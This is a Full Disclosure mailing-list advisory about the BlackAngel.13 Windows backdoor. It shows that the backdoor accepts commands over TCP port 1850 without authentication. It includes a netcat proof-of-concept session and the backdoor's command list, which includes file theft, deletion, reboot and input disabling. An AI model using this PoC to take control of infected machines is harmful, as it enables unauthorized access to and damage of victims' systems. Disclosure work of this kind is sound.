full-disclosure - [FD] Backdoor.Win32.BlackAngel.13 / Unauthenticated Remote Command Execution

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Message-ID: <CAAHK0WSFk=iNzHGhi-=L2keuGGtSO1pz4mczVxNQdXXL-QyM3w@mail.gmail.com>
Date: Tue, 17 Sep 2024 21:28:35 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.BlackAngel.13 / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source:
https://malvuln.com/advisory/d1523df44da5fd40df92602b8ded59c8.txt
Contact: malvuln13@...il.com
Media: x.com/malvuln

Threat: Backdoor.Win32.BlackAngel.13
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 1850. Third party
adversaries who can reach an infected host can issue commands made
available by the backdoor. Example, send messages to victim "!msg",
open launch the browser and open webpages "!url" etc.
Family: BlackAngel
Type: PE32
MD5: d1523df44da5fd40df92602b8ded59c8
SHA256: 8a6e876f7452ae0a11342b852c70771a7f80b87c2e451656aaebb18b350c4b27
Vuln ID: MVID-2024-0695
Disclosure: 09/17/2024

Exploit/PoC:
nc64.exe x.x.x.x 1850
Connected to host (DESKTOP-3C4IQJO)
!msg GG Forever!
!msg Greetz Edu_Braun_0day, Indoushka, Dirty0tis
!url https://hyp3rlinx.altervista.org/advisories/MICROSOFT-MSINFO32-XXE-FILE-EXFILTRATION.txt
!quit

[commands list]
!msg
!opencd
!closecd
!exitwin
!reboot
!logoff
!getdrive
!gettree
!getfile
!putfile
!ren
!del
!swap
!noswap
!mdisable
!kdisable
!url
!bck
!sound
!txt
!dos
!beep
!nobeep
!quit
!hang

Disclaimer: The information contained within this advisory is supplied
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otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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